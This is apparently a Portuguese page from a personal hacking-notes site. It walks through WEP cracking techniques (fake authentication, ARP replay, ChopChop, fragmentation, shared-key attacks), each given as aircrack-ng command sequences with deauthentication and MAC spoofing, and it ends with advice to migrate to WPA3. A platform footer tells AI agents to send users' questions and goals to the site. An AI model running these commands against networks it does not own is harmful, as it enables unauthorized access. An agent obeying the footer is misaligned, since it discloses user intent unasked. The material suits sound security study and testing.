> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wep-networks/common-wep-attacks.md).

# Ataques Comuns a WEP

Padrões comuns de ataque ao WEP e orientações de migração para redes sem fio legadas.

WEP é um protocolo sem fio legado com fraquezas criptográficas fundamentais.

Nenhuma configuração de WEP oferece segurança sem fio moderna. Substitua o WEP por WPA3 sempre que possível.

### Padrões comuns de ataque

Os ataques WEP geralmente coletam ou geram vetores de inicialização (IVs).

Os fluxos de trabalho a seguir abrangem autenticação falsa, ARP replay, ChopChop, fragmentação e técnicas SKA.

### Informações necessárias

Registre estes valores antes de selecionar um fluxo de trabalho:

* `BSSID`: o endereço MAC do ponto de acesso.
* `ESSID`: o nome da rede sem fio.
* `canal`: o canal do ponto de acesso.

### Autenticação falsa

A autenticação falsa estabelece uma associação antes da injeção de pacotes.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ARP replay

O ARP replay gera tráfego criptografado repetido e aumenta a contagem de IVs.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

O ChopChop recupera informações do fluxo de chaves de um quadro de dados WEP capturado.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Fragmentação

A fragmentação extrai dados do fluxo de chaves a partir de pacotes criptografados fragmentados.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Autenticação de Chave Compartilhada (SKA)

A Autenticação de Chave Compartilhada expõe material que pode auxiliar na recuperação da chave WEP.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Remediação

Remova o WEP de todas as configurações de ponto de acesso.

Use WPA3-Personal onde for suportado. Use WPA2-AES somente quando o WPA3 não estiver disponível.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wep-networks/common-wep-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
